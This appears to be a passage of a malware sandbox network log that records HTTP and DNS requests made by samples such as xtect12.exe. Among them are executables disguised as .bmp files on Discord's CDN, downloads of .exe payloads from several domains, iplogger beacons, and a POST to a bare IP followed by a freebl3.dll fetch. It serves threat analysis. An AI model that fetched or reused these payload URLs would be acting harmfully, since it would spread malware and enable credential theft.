                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3819448
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232849dbe172ff-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 62778
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=r.bmp
                                                                                                                                                                                                                                          ETag: "be5ac1debc50077d6c314867ea3129af"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:26 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:58:59 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629478739671998
                                                                                                                                                                                                                                          x-goog-hash: crc32c=V1t49w==
                                                                                                                                                                                                                                          x-goog-hash: md5=vlrB3rxQB31sMUhn6jEprw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3819448
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdsCDIbVh42Qqk7gOSFCJXnwCQoiLM_UvmLXX1dgp6A_92SlFwpu38ZoZz_RdZzPhJzl4mCPdC39PXG6th6o2LF6y5D1ew
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nefwlnEzsnwgPcWDuKujeMERnYPFZo0jEtLfIV8ogrggFgKgQlzKY79PKi0Zv0mfCygE%2BBT1LO3TemA1L%2Fn7ddGnTat1K4prPdZBsWFG07f3bqwUz4i9bJK42ZCp7hmGgxT1ZQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878524273927524433/app.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 4659240
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232849e96200d6-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 14402
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=app.bmp
                                                                                                                                                                                                                                          ETag: "7627ef162e039104d830924c3dbdab77"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:26 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:21:49 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629526909245040
                                                                                                                                                                                                                                          x-goog-hash: crc32c=2s6yUg==
                                                                                                                                                                                                                                          x-goog-hash: md5=difvFi4DkQTYMJJMPb2rdw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 4659240
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdveETthH_9__l2wYrePAFaaa-idohy__ik2v0SYTN-009NgZaSB5FBUHgEcBK86zYPcn-txtUP5VtdtseyBKg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XpR47QZv3L0wqLu54EHXLdY7gxPrVAQoknOXfXPKGvWvOwsn3tIc39brp2zaopSBv8w5vSJmX4j6TBf86SbqGqzJlA3fLxih0WhITq9y1qIKAnWSIbRqWzs%2BM7mmEL6VWWnLbQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplogger.org/1Z7qd7
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1Z7qd7 HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                                                                          Host: iplogger.org
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=0amh8mghjoa4673en19gjuuaq7; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506663; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers:
                                                                                                                                                                                                                                          whoami: 4dc06e46e01f945b2bfd459497806efb5b1d16cb37f57e11cddf0c0a55f54a60
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://2no.co/2GSVH6
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /2GSVH6 HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 2no.co
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=k7cb47debvhcolooeoisn6pv76; path=/; HttpOnly
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506664; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.98:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /pub1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: kaleidographic.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.38 (Debian)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:02 GMT
                                                                                                                                                                                                                                          ETag: "44800-5ca0ee0247804"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 280576
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/2201/snakehi.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.145.110:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/2201/snakehi.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: a.goatagame.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          location: https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          CF-Cache-Status: BYPASS
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VbTKXnxteDE2dbq9AFnUtt%2BCBuCAqvxar47QJcuGyNINsh6o2KDZGjfD1sw6mz7EytSW7R%2B4Uk3OP0wBxeDLfG%2Fasg8scmCOsSkoN%2BJzNAt8HsUiaJMFVjUM%2Fui9igJofWM%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328511dbd4c31-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.181.172.98:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /pub1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: kaleidographic.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.38 (Debian)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:02 GMT
                                                                                                                                                                                                                                          ETag: "44800-5ca0ee0247804"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 280576
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878524255539716106/help.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 328704
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682328513fcac83f-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 14399
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=help.bmp
                                                                                                                                                                                                                                          ETag: "94c78c311f499024a9f97cfdbb073623"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:27 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:21:44 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629526904756486
                                                                                                                                                                                                                                          x-goog-hash: crc32c=BgygxA==
                                                                                                                                                                                                                                          x-goog-hash: md5=lMeMMR9JkCSp+Xz9uwc2Iw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 328704
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdv0M1urNGhXM4AVjwh9N4hSfa6SMwzt8MwDGeyGdoJ0qjN4_0qsduVMWmrrvia38-LeNmUeSCxBtE99k_cGhw
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HT%2FWj1OKiAta91noHTzrA1SUPAGLR3uZpTE12E52sje7RiJms7BCLPqocHZ81a0wYmb7QlCFlCCuA3u5cWxVVj564RU1oR8TSwUy6sSW2N2gyDGsX1zAcD5EikDobKqA8YMoHg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.88.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /lqosko/p18j/customer3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: i.spesgrt.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qhhxsW34J8qsWG2%2F9NJ5pzE%2BLAFUGcT2w%2FIZQHFjy2tc7ynpoS1FVJYq7%2Fx2ZFx8tHz%2B8mb4lgJKEFDjIdCYJfmvotX7Y0zUrEOrUS3dkFFU2vFWrrVPlW2upeNjcgwO"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232853be204c7a-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.88.226:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /lqosko/p18j/customer3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: i.spesgrt.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:27 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TMBtxv8geW6oPLC2m%2Bpg5t5BoPpVHlsI2SJFd6W0qIBgAPIme93zyYoupRp%2FXljm0g%2BbeZCrjmZvRbsTm75Agd%2F9kzcH%2BthtEd6x0xgzGDvXaVoSVQ424WsF%2FwxURIWp"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232853fe824c7a-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          s3-r-w.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.219.156.26
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.34.200.103/937
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /937 HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
                                                                                                                                                                                                                                          Content-Length: 25
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://188.34.200.103/freebl3.dll
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.34.200.103:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /freebl3.dll HTTP/1.1
                                                                                                                                                                                                                                          Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                          Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                          Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                          Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                          Host: 188.34.200.103
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 334288
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT
                                                                                                                                                                                                                                          ETag: "519d0-57aa1f0b0df80"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Cache-Control: max-age=86400
                                                                                                                                                                                                                                          X-Cache-Status: EXPIRED
                                                                                                                                                                                                                                          X-Cache-Status: HIT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
